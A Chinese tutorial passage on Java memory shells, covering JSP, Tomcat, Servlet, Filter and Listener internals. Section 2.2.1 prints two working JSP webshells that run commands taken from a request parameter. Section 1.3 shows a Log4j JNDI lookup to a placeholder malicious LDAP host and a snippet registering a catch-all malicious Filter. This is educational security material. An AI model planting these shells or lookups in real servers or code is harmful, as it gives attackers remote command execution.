内存马初探


内存马(Memory Shell/Webshell)是一种无文件、驻留内存的恶意程序 ,通过直接注入应用进程(如Web中间件、Java应用)的内存空间执行恶意操作,规避传统文件扫描检测。

一、内存马简介

1.1 内存马的核心特征

  • 无文件驻留

不依赖磁盘文件,恶意代码直接运行在内存中,重启服务或进程后失效(但攻击者常结合持久化手段维持控制)。

  • 寄生载体

依赖宿主进程(如Tomcat、Spring、PHP-FPM)的合法功能注入恶意代码,例如劫持Web中间件的请求处理逻辑(Filter、Servlet、Controller等)。

  • 隐蔽性强

流量伪装 :恶意请求伪装为正常业务流量(如HTTP参数加密、路径随机化)。

无痕驻留 :通过动态注册组件(如Java反射、JNI调用)或修改字节码(Java Agent)实现,不修改磁盘配置文件。

1.2 内存马的典型类型

  • Servlet型内存马:动态注册高优先级Filter或Servlet,拦截HTTP请求并执行系统命令(如 Runtime.exec() )。

  • Spring Controller型:利用Spring框架动态注册恶意Controller,绑定特定URL路径执行后门逻辑。

  • Java Agent型:通过JVM的Instrumentation API修改已加载类的字节码(如注入恶意代码到 javax.servlet.http.HttpServlet )。

  • WebSocket内存马:劫持WebSocket通信通道,在握手阶段注入恶意代码实现隐蔽通信。

1.3 内存马攻击流程

1.3.1 漏洞利用

通过反序列化漏洞、表达式注入(如Log4j)、文件上传漏洞等,获取目标系统的代码执行权限。

示例 :攻击者利用Log4j漏洞(CVE-2021-44228)执行 jndi:ldap://恶意地址 ,加载远程恶意类到内存。

1.3.2 注入恶意组件

动态注册恶意组件到Web容器:

// 动态注册Filter型内存马 
Filter filter = new MaliciousFilter ( ) ; 
FilterRegistration.Dynamic registration = servletContext.addFilter("evilFilter" , filter); 
registration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true , "/*" ) ;

1.3.3 持久化与隐蔽

  • 内存驻留 :通过线程驻留、定时任务(如 ScheduledExecutorService )保持恶意代码存活。
  • 流量混淆 :使用AES加密通信内容,或伪装为正常API请求(如 /api/v1/user/info?data=加密payload )。

例子

Log4j漏洞催生内存马:攻击者利用Log4j漏洞注入内存马。

通过 ldap:// 协议加载恶意类到Tomcat内存,动态注册Filter实现命令执行。

检测痕迹 : Tomcat日志中存在 jndi:ldap:// 异常请求。 JVM中多出未在 web.xml 中声明的Filter类。

为什么选Filter下手 ?

Filter是Java Servlet规范中的一部分,用于拦截HTTP请求和响应,进行预处理或后处理。比如权限检查、日志记录、数据加密等。在内存马的场景中,攻击者会注册恶意Filter来拦截请求,执行恶意代码。

为什么Filter被利用:因为它在请求处理链中的位置,可以优先处理请求,且动态注册的Filter不会留下文件痕迹,符合内存马的特点。

通俗的方式解释:

你可以把 Filter(过滤器)想象成高速公路上的「安检站」 。

  • 正常用途 :

当一辆车(HTTP请求)要从入口(浏览器)开到出口(服务器)时,必须经过安检站(Filter)。 安检站的工作是检查车辆(比如查用户是否登录、过滤敏感词、记录日志)。 检查完,如果没问题,就放行到下一个安检站或最终目的地(服务器处理请求)。

  • 被黑客利用时的恶意Filter :

假设有个坏人偷偷在高速上 加塞了一个自己的安检站 ,而且这个安检站的位置 最靠前 (优先级最高)

所有车辆(请求)必须 先经过他的安检站 。 他会在检查时偷偷做坏事:比如让车辆帮他运毒品(执行系统命令)、偷拍车牌号(窃取用户数据),甚至直接拆掉货物(破坏系统)。 更阴险的是,这个安检站没有实体建筑(不写文件到磁盘),只存在于路上(内存中),传统检查手段(文件扫描)根本找不到它。

为什么选Filter下手 ?因为它能第一时间接触到所有请求,最适合黑客「埋伏」。

1.4 Java内存马

Java 内存马是最典型的内存马类型,主要针对 Java Web 应用(如 Tomcat、Spring Boot)。它通过动态注册恶意组件(如 Filter、Servlet、Listener)或利用 Java Agent 技术修改字节码,在内存中执行恶意代码。

内存马并不单指 Java 内存马,而是一个广义的概念,适用于多种编程语言和运行环境。Java 内存马只是其中最常见的一种,因为 Java Web 应用的广泛使用和其复杂的组件机制为内存马提供了丰富的攻击面。防御内存马需要结合语言特性和应用场景,采取多层次的安全防护措施。

1.5 其他语言和环境中的内存马

除了 Java,内存马的概念也适用于其他编程语言和运行环境,例如:

  • PHP 内存马:利用 PHP 的动态特性(如 eval() 、 create_function() ),在内存中执行恶意代码。
  • Python 内存马:利用 Python 的动态特性(如 exec() 、 eval() ),在内存中执行恶意代码。
  • C#/.NET 内存马:利用 .NET 的反射机制或动态代码生成技术(如 System.Reflection.Emit ),在内存中执行恶意代码。
  • Node.js 内存马:利用 Node.js 的动态特性(如 eval() 、 vm 模块),在内存中执行恶意代码。

相较于 Java 内存马的复杂性和高度集成于 Web 容器的特性,其他语言的内存马通常更简单,主要依赖于 命令执行函数 来实现恶意操作。

二、JSP与JSP木马

Java 内存马是一种完全驻留在内存中、无文件落地的恶意程序,专门针对 Java Web 应用(如 Tomcat、Spring Boot)设计。它通过劫持 Java 应用的运行时逻辑(如 Web 请求处理流程),直接在内存在执行恶意操作(如窃取数据、远程控制), 绕过传统杀毒软件的文件扫描 。

2.1 JSP技术

在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。

JSP( JavaServer Pages )是一种用于开发动态网页的Java技术,允许开发者将 Java代码嵌入HTML页面 ,从而快速创建动态内容。它本质上是一种基于Java的模板引擎,最终在服务器端被编译成Servlet(Java类)来执行。

2.1.1 JSP的核心作用

  • 简化动态网页开发

开发者可以在HTML中直接插入Java代码(通过 <% %> 标签),动态生成页面内容(如显示数据库数据、用户登录状态等)。 示例 :

<html> 
  <body> 
    <h1>当前时间:<%= new java.util.Date() %></h1> 
  </body> 
</html>

输出: 当前时间:Thu Aug 24 14:30:00 CST 2023 。

  • 分离逻辑与展示

JSP通常与Servlet配合使用,遵循 MVC模式 :

Servlet :处理业务逻辑(如数据库操作)。

JSP :负责展示结果(生成HTML)。

2.1.2 JSP的工作原理

  • 翻译与编译

当用户请求一个JSP页面(如 index.jsp )时,服务器(如Tomcat)会将其翻译成Servlet (Java代码文件)。

生成的Servlet会被编译成 .class 文件,最终由JVM执行。

  • 执行流程
graph LR 
A [用户访问 index.jsp] --> B [服务器将JSP翻译为Servlet(java代码文件)] 
B --> C [编译为 .class 文件] 
C --> D [执行Servlet生成HTML] 
D --> E [返回HTML到浏览器]

Servlet介绍:

Servlet 可以理解为 “专门处理网络请求的服务员” ,用生活中餐馆的例子来比喻:

  • 举个栗子 🌰:(餐馆点餐流程)

1)客户(浏览器) :走进餐馆,对服务员说:“我要一份红烧肉!”(发送一个 HTTP 请求)。

2)服务员(Servlet) :

​ 职责 :专门处理某一类请求(比如点菜、结账)。

​ 动作 :记下客户需求(接收请求参数)。

​ 去后厨(业务逻辑层)让厨师做菜(处理数据,比如查数据库)。

​ 把做好的菜端给客户(返回 HTML/JSON 响应)。

3)后厨(Java 代码) :做菜的实际操作(比如数据库查询、计算逻辑)。

  • Servlet 的通俗总结

本质 :一段 Java 代码,专门处理 HTTP 请求(如 GET/POST)。

生命周期 : 出生 :第一次被访问时初始化( init() )。 工作 :每次请求都调用 service() 方法处理。 退休 :服务器关闭时销毁( destroy() )。

为什么需要 Servlet?

1)直接控制请求和响应 :适合处理复杂逻辑(如支付接口、权限验证)。

2)高效 :比 JSP 更底层,性能更好(JSP 最终也会被编译成 Servlet)。

3)标准化 :所有 Java Web 框架(如 Spring MVC)底层都基于 Servlet。

2.1.3 JSP的语法

1)脚本程序

  • <% ... %> :插入Java代码(无输出)。脚本程序可以包含任意量的Java语句、变量、方法或表达式。

其等价于下面的XML语句

<jsp:scriptlet>
   代码片段
</jsp:scriptlet>
<html>
<body>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>
<% int count = 0; %>

2)jsp表达式

  • <%= ... %> :输出Java表达式的结果。
  • 如果JSP表达式中为一个对象,则会自动调用其toString()方法。格式如下,注意表达式后没有;
<%= 表达式  %>

等价于下面的XML表达式:

<jsp:expression>
   表达式
</jsp:expression>

下面是使用示例

<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "Feng"; %>
username:<%=name%>
</p>
</body>
</html>
访问次数:<%= count++ %>

3)jsp声明

  • <%! ... %> :声明成员变量或方法。一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下
<%! 声明  %>

同样等价于下面的XML语句

<jsp:declaration>
   代码片段
</jsp:declaration>

下面是使用示例:

<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>
<%! public void log() { System.out.println("Logged!"); } %>

4)指令(Directives)

JSP指令用来设置与整个JSP页面相关的属性。

指令 描述
<%@ page … %> 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %> 包含其他文件
<%@ taglib … %> 引入标签库的定义,可以是自定义标签
  • 设置jsp页面的编码格式
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "枫"; %>
用户名:<%=name%>
</p>
</body>
</html>

<%@ include ... %> :包含其他文件(如公共页眉)。

<%@ include file="header.jsp" %>

5)JSP注释

<%-- 注释内容 --%>

6)JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

  • 由 JSP 规范提供,不用编写者实例化。
  • 通过 Web 容器实现和管理。
  • 所有 JSP 页面均可使用。
  • 只有在脚本元素的表达式或代码段中才能使用。
对象 类型 描述
request javax.servlet.http.HttpServletRequest 获取用户请求信息
response javax.servlet.http.HttpServletResponse 响应客户端请求,并将处理信息返回到客户端
response javax.servlet.jsp.JspWriter 输出内容到 HTML 中
session javax.servlet.http.HttpSession 用来保存用户信息
application javax.servlet.ServletContext 所有用户共享信息
config javax.servlet.ServletConfig 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext javax.servlet.jsp.PageContext JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page javax.servlet.jsp.HttpJspPage 类似于 Java 类的 this 关键字,表示当前 JSP 页面
exception java.lang.Throwable 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象

2.2 jsp 木马

2.2.1 有文件木马

  • 简单的一句话
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

上面是最简单的一句话木马,没有回显,适合用来反弹shell。

  • 带回显的jsp木马

下面是一个带回显的JSP木马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
 
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
    String line;
    PrintWriter printWriter = response.getWriter();
    printWriter.write("<pre>");
    while ((line = bufferedReader.readLine()) != null){
        printWriter.println(line);
    }
    printWriter.write("</pre>");
 
}
%>

2.2.2 无文件内存马

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

Java内存马按照实现原理大致可以分为如下两种:

  • 利用Java Web组件:

动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。

  • 修改字节码:

利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

三、 Tomcat架构分析

3.1 基本架构分析

Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。

所以简单来说,Tomcat可以看成是Web服务器+Servlet容器:

Tomcat能够通过Connector组件接收并解析HTTP请求,然后将一个ServletRequest对象发送给Container处理。容器处理完之后会将响应封装成ServletRespone返回给Connector,然后Connector再将ServletRespone解析为HTTP响应文本格式发送给客户端,至此Tomcat就完成了一次网络通信。

web服务器和servlet容器的关系:

我们可以用 「餐厅后厨协作」 的比喻来理解两者的关系:

一句话总结 Web 服务器是「前台接待」,处理简单任务;Servlet 容器是「后厨团队」,专注复杂业务。两者分工协作,让餐厅(网站)高效运转! 🍽️

  1. Web 服务器(如 Nginx、Apache)→ 餐厅前台

职责 :

​ 接待客人 :处理客人(浏览器)的简单请求,比如点一杯白开水(静态资源:HTML、图片、CSS)。

​ 快速响应 :直接从前台冰箱(静态文件目录)拿水递给客人,无需惊动后厨。

​ 分流任务 :遇到复杂菜品(动态请求,如登录、查询数据),转交给后厨(Servlet 容器)处理。

  1. Servlet 容器(如 Tomcat、Jetty)→ 餐厅后厨

职责 :

​ 专业做菜 :专门处理动态请求(如生成个性化页面、操作数据库)。

​ 管理厨师(Servlet) :确保每个厨师(Servlet 实例)高效工作(多线程处理请求)。

​ 按订单出餐 :根据客人需求(HTTP 请求参数),调用对应的 Servlet 生成响应(如返回 JSON 数据)。

  1. 协作流程示例

    客人点餐 :浏览器访问 http://example.com/login (动态请求)。

    前台判断 : Web 服务器发现这是动态请求(路径含 /login ),转交给后厨(Servlet 容器)。

    后厨处理 : Servlet 容器找到负责登录的 Servlet(厨师),调用其 doPost() 方法处理请求。 Servlet 验证用户名密码,返回登录结果(HTML 或 JSON)。

    上菜给客人 :Web 服务器将结果返回浏览器。

  2. 为什么需要分开?

性能优化 : Web 服务器专注处理静态资源(性能高),Servlet 容器专注运行业务逻辑(Java 代码)。

职责分离 : Web 服务器擅长处理高并发连接和缓存,Servlet 容器擅长管理 Java 应用的运行时环境。

灵活部署 : 可搭配不同组合(如 Nginx + Tomcat),提升整体系统稳定性。

  1. 常见组合

    Nginx + Tomcat :Nginx 处理静态文件,动态请求转发给 Tomcat。

    Apache HTTP Server + Jetty :类似原理,通过模块(如 mod_jk )实现请求转发。

3.2 tomcat组件分析

Tomcat Server大致可以分为三个组件,Service、Connector、Container。

3.2.1 Service

其中一个Tomcat Server可以包含多个Service,比如Tomcat默认的Service服务Catalina。每一个Service都是独立的,他们共享一个JVM以及系统类库,并且一个Service负责维护多个Connector和一个Container。

3.2.2 Connector

Connector用于连接Service和Container,解析客户端的请求并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。

3.2.3 Container

Tomcat的Container包含四种子容器:EngineHostContextWrapper,在Tomcat源码中我们可以清晰地看到各容器之间的继承关系。

其中,一个Container对应一个Engine,一个Engine可以包含多个Host,一个Host可以包含多个Context,Context又包含多个Wrapper,各子容器的功能如下:

  • Engine

可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host。

  • Host

可以看成一个虚拟主机,一个Tomcat可以支持多个虚拟主机。

  • Context

又叫做上下文容器,我们可以将其看成一个Web应用,每个Host里面可以运行多个Web应用。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)。

  • Wrapper

是对Servlet的抽象和包装,每个Context可以有多个Wrapper,用于支持不同的Servlet。每个Wrapper实例表示一个具体的Servlet定义,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收。

3.2.4 Container中的解析过程

以上的映射信息通过通过Mapper组件来关联。Mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系等。

四、Java Web三大组件

4.1 Servlet

Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestServlet对象并发送到对应的Servlet上进行处理。

4.1.1 Servlet的生命周期

Servlet的生命周期分为如下五个阶段:

  • 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例。
  • 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象。
  • 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求。
  • 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁。
  • 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作。

只要访问Servlet,service()就会被调用。init()只有第一次访问Servlet的时候才会被调用。 destroy()只有在Tomcat关闭的时候才会被调用。因此我们主要的业务逻辑代码是写在service()函数中的。

4.1.2 GenericServlet类和HttpServlet

想要编写一个自己的Servlet,就必须要继承Servlet接口并实现如下五个方法:

但每次需要编写Servlet的时候都要重写五个方法,这样未免太繁琐。因此Tomcat已经帮我们封装好了两个类,分别是GenericServlet类和HttpServlet类。

GenericServlet抽象类实现了 Servlet 接口,并对 Servlet 接口中除service()方法外的其它四个方法进行了简单实现。如果我们通过继承GenericServlet类创建来Servlet,只需要重写service()方法即可。但正如其名,GenericServlet抽象类是一个通用的Servlet类,并不是针对某种应用场景而设计的,因此我们在处理HTTP请求的时候需要手动实现对HTTP请求的解析和封装。

HttpServlet是GenericServlet的子类,它在GenericServlet的基础上专门针对HTTP协议进行了处理。其针对每一种HTTP请求都设置了一种处理方法。当我们在使用HttpServlet类的时候,只需要根据HTTP请求类型重写相应的处理方法即可。

4.1.3 Servlet使用示例

以HttpServlet为例,编写一个自己的Servlet:

package Servlet;
 
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
 
@WebServlet("/hello")
public class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String parameter = req.getParameter("name");
        PrintWriter writer = resp.getWriter();
        writer.write("Hello "+parameter+"!");
        writer.close();
    }
}

使用注解来注册Servlet:

...
@WebServlet("/hello")
public class MyServlet extends HttpServlet {
...
}

也可以通过手动配置web.xml文件来注册Servlet,这种方式虽然繁琐,但是便于管理各Servlet。

<servlet>
  <servlet-name>MyServlet</servlet-name>
  <servlet-class>Servlet.MyServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>MyServlet</servlet-name>
  <url-pattern>/hello</url-pattern>
</servlet-mapping>

配置Tomcat,添加好相应的war包:

访问http://localhost:8081/Tomcat_Servlet_war/hello?name=Test,结果如下:

Hello Test!

4.1.4 ServletConfig和ServletContext

1)ServletConfig

当Servlet容器初始化一个Servlet时,会为这个Servlet创建一个ServletConfig对象,并将 ServletConfig 对象作为参数传递给Servlet。ServletConfig对象封装了Servlet的一些独有参数信息,因此一个Servlet只能对应一个ServletConfig。

下面是ServletConfig的使用示例:

package Servlet;
 
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
 
@WebServlet("/config")
public class Config_Servlet extends HttpServlet {
 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //设置响应编码
        resp.setContentType("text/html; charset=UTF-8");
        //获取ServletConfig
        ServletConfig servletConfig = getServletConfig();
        //获取Servlet名称
        String name = servletConfig.getServletName();
        PrintWriter writer = resp.getWriter();
        writer.write("Servlet名称为:"+name);
        writer.close();
    }
}

2)ServletContext

Servlet 容器启动时,会为每个 Web 应用(webapps 下的每个目录都是一个 Web 应用)创建一个唯一的 ServletContext 对象,该对象一般被称为“Servlet 上下文”。

何为一个Web应用?

在 Java Web 开发中,「Web 应用」可以理解为 一个独立运行的网站或服务 ,它包含了一组用于处理 HTTP 请求的代码、资源和配置。通俗来说,你可以把它想象成:Web 应用 = 一个完整的网站(或服务)

1、内容构成:

前端代码 :HTML、CSS、JavaScript(用户看到的页面)。

后端代码 :Servlet、JSP、Java 类(处理业务逻辑)。

配置文件 : web.xml (定义 Servlet、过滤器等)。

资源文件 :图片、配置文件、数据库连接池等。

2、部署形态:

通常以 目录 或 WAR 包 (类似 ZIP 压缩包)的形式存在。

在 Tomcat 的 webapps 目录下,每个子目录(或 WAR 文件)都是一个独立的 Web 应用。

为什么需要为每个 Web 应用创建唯一的 ServletContext?

独立性 每个 Web 应用相当于一个“隔离的沙箱”,彼此之间 配置、资源、数据互不干扰 。 例如: 应用A (电商)的 web.xml 配置的 Servlet,不会影响 应用B (博客)。 应用A 的 images/logo.png ,不会和 应用B 的同名文件冲突。

ServletContext 的作用 共享数据 :在整个 Web 应用内共享数据(如全局配置参数)。 访问资源 :通过 getResource() 读取应用内的文件(如配置文件)。 获取配置 :读取 web.xml 中定义的初始化参数。

3、Web 应用的典型结构

4、实际例子

假设你开发了两个系统: 电商系统 :部署在 webapps/shop/ ,访问地址是 http://ip:port/shop/

后台管理系统 :部署在 webapps/admin/ ,访问地址是 http://ip:port/admin/

Tomcat 会为这两个目录分别创建 独立的 ServletContext ,它们的内存空间、配置、资源完全隔离,就像两个独立的“小程序”运行在同一台服务器上。

5、总结

Web 应用 :一个独立运行的网站或服务,包含代码、资源和配置。

ServletContext :相当于这个应用的“全局管家”,管理它的配置、资源和共享数据。

隔离性 :不同 Web 应用之间互不影响,避免资源冲突。

由于一个Web应用可以包含多个Servlet,因此ServletContext可以看作是一个Web应用中各Servlet的共享资源。不同 Servlet 之间可以通过ServletContext对象实现数据通讯,因此ServletContext对象也被称为Context域对象。

ServletContext 对象的生命周期从 Servlet 容器启动时开始,到容器关闭或应用被卸载时结束。

通过ServletContext可以获取Web应用中一些共享的资源。下面我们使用ServletContext来获取上下文初始化参数

首先在web.xml中配置一个上下文初始化参数:

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  //配置上下文初始化参数name
  <context-param>
    <param-name>name</param-name>
    <param-value>Feng</param-value>
  </context-param>
  <context-param>
    <param-name>age</param-name>
    <param-value>18</param-value>
  </context-param>
</web-app>

在Servlet中访问共享的参数:

package Servlet;
 
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;
 
@WebServlet("/context")
public class Context_Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = resp.getWriter();
 
        ServletContext servletContext = getServletContext();
 
        Enumeration<String> initParamerNames = servletContext.getInitParameterNames();
        while(initParamerNames.hasMoreElements()){
            String ParamerName = initParamerNames.nextElement();
            String Paramer = servletContext.getInitParameter(ParamerName);
            writer.write(ParamerName+"的值为:"+Paramer+"<br/>");
        }
 
        writer.close();
    }
}

4.2 Filter

4.2.1 Filter概述

Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能。

下面是Filter在Server中的调用流程图:

这种调用流程类似于设计模式中的“责任链模式”,对于不符合要求的资源进行拦截,而符合要求的资源用FilterChain.doFilter()放行。

4.2.2 Filter用法示例

下面是一个简单的Filter Servlet示例,这里我们同样使用注解方式进行配置:

Hello_Servlet.java

package Filter;
 
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
 
@WebServlet("/hello")
public class Hello_Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.write("Hello World!");
        writer.close();
    }
}

Hello_Filter1.java

package Filter;
 
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;
 
@WebFilter("/hello")
public class Hello_Filter1 implements Filter {
 
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        writer.write("调用Filter1!</br>");
        chain.doFilter(request,response);
    }
}

Hello_Filter2.java

package Filter;
 
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;
 
@WebFilter("/hello")
public class Hello_Filter2 implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        PrintWriter writer = response.getWriter();
        writer.write("调用Filter2!</br>");
        chain.doFilter(request,response);
    }
}

运行结果:

4.2.3 Filter的生命周期

Filter的生命周期和Servlet一样,Filter的创建和销毁也是由WEB服务器负责。

  • 初始化阶段:init(FilterConfig),初始化方法,只会在web应用程序启动时调用一次。
  • 拦截和过滤阶段:doFilter(ServletRequest, ServletResponse, FilterChain),完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
  • 销毁阶段:destory(),销毁Filter,只会在当web应用移除或服务器停止时才调用一次来卸载Filter对象。

4.2.4 FilterChain

一个Servlet可以注册多个Filter,Web容器会将注册的多个Filter组合成一个“Filter链”,并按照一定的顺序依次执行各Filter的doFilter()方法。

FilterChain就是这样一个接口,其doFIiter()方法用于将本Filter处理完的Servlet资源交给下一个Filter处理。

4.2.5 Filter执行顺序

Filter的注册方式不同,Filter的执行顺序也有所不同。

  • 基于注解配置:按照类名的字符串比较规则比较,值小的先执行。
  • 使用web.xml配置:根据对应的Mapping的顺序组织,谁定义在上边谁就在前。

4.2.6 FilterConfig

和Servlet类似,由于Filter也有可能访问Servlet,所以Servlet 规范将代表 ServletContext 对象和 Filter 的配置参数信息都封装到一个称为 FilterConfig 的对象中。

FilterConfig接口则用于定义FilterConfig对象应该对外提供的方法,以便在 Filter的doFilter()方法中可以调用这些方法来获取 ServletContext 对象,以及获取在 web.xml 文件中的一些初始化参数。

4.3 Listener

Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。

4.3.1 相关概念

  • 事件:某个方法被调用,或者属性的改变。
  • 事件源:被监听的对象(如ServletContext、requset、方法等)。
  • 监听器:用于监听事件源,当发生事件时会触发监听器。

4.3.2 监听器的分类

监听器一共有如下8种:

事件源 监听器 描述
ServletContext ServletContextListener 用于监听 ServletContext 对象的创建与销毁过程
HttpSession HttpSessionListener 用于监听 HttpSession 对象的创建和销毁过程
ServletRequest ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁过程
ServletContext ServletContextAttributeListener 用于监听 ServletContext 对象的属性新增、移除和替换
HttpSession HttpSessionAttributeListener 用于监听 HttpSession 对象的属性新增、移除和替换
ServletRequest ServletRequestAttributeListener 用于监听 HttpServletRequest 对象的属性新增、移除和替换
HttpSession HttpSessionBindingListener 用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件
HttpSession HttpSessionActivationListener 用于监听 HttpSession 中对象活化和钝化的过程

按照监听的对象不同可以划分为三类:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

4.3.3 ServletContextListener

这里我们以ServletContextListener为例,创建一个用于监听ServletContext对象的Listener,这里我仍使用注解配置:

package Listener;
 
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
 
@WebListener
public class Hello_Listener implements ServletContextListener {
 
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        System.out.println("ServletContext对象创建了!");
    }
 
    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        System.out.println("ServletContext对象销毁了!");
 
    }
 
}

在启动Tomcat服务器的时候,ServletContext对象被创建,同时触发我们设置的ServletContextListener.contextInitialized()方法:

当停止Tomcat服务器时,ServletContext对象被销毁,会触发ServletContextListener.contextDestroyed()方法:

4.4 三者的加载顺序

三者的加载顺序为Listener->Filter->Servlet

org.apache.catalina.core.StandardContext类的startInternal()方法中,首先调用了listenerStart(),接着是filterStart(),最后是loadOnStartup()。这三处调用触发了Listener、Filter、Servlet的构造加载。

五、Tomcat中的三种Context

在学习内存马的时候,常常会碰见ServletContext、ApplicationContext、StandardContext这三种Context。

5.1 Context

在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。

5.2 ServletContext

Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。其在Java中的具体实现是javax.servlet.ServletContext接口。

package javax.servlet;
 
 
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;
 
 
public interface ServletContext {
    String TEMPDIR = "javax.servlet.context.tempdir";
 
    String getContextPath();
    ServletContext getContext(String var1);
    int getMajorVersion();
    int getMinorVersion();
    int getEffectiveMajorVersion();
    int getEffectiveMinorVersion();
    String getMimeType(String var1);
    Set getResourcePaths(String var1);
    URL getResource(String var1) throws MalformedURLException;
    InputStream getResourceAsStream(String var1);
    RequestDispatcher getRequestDispatcher(String var1);
    RequestDispatcher getNamedDispatcher(String var1);
    /** @deprecated */
    Servlet getServlet(String var1) throws ServletException;
    /** @deprecated */
    Enumeration getServlets();
    /** @deprecated */
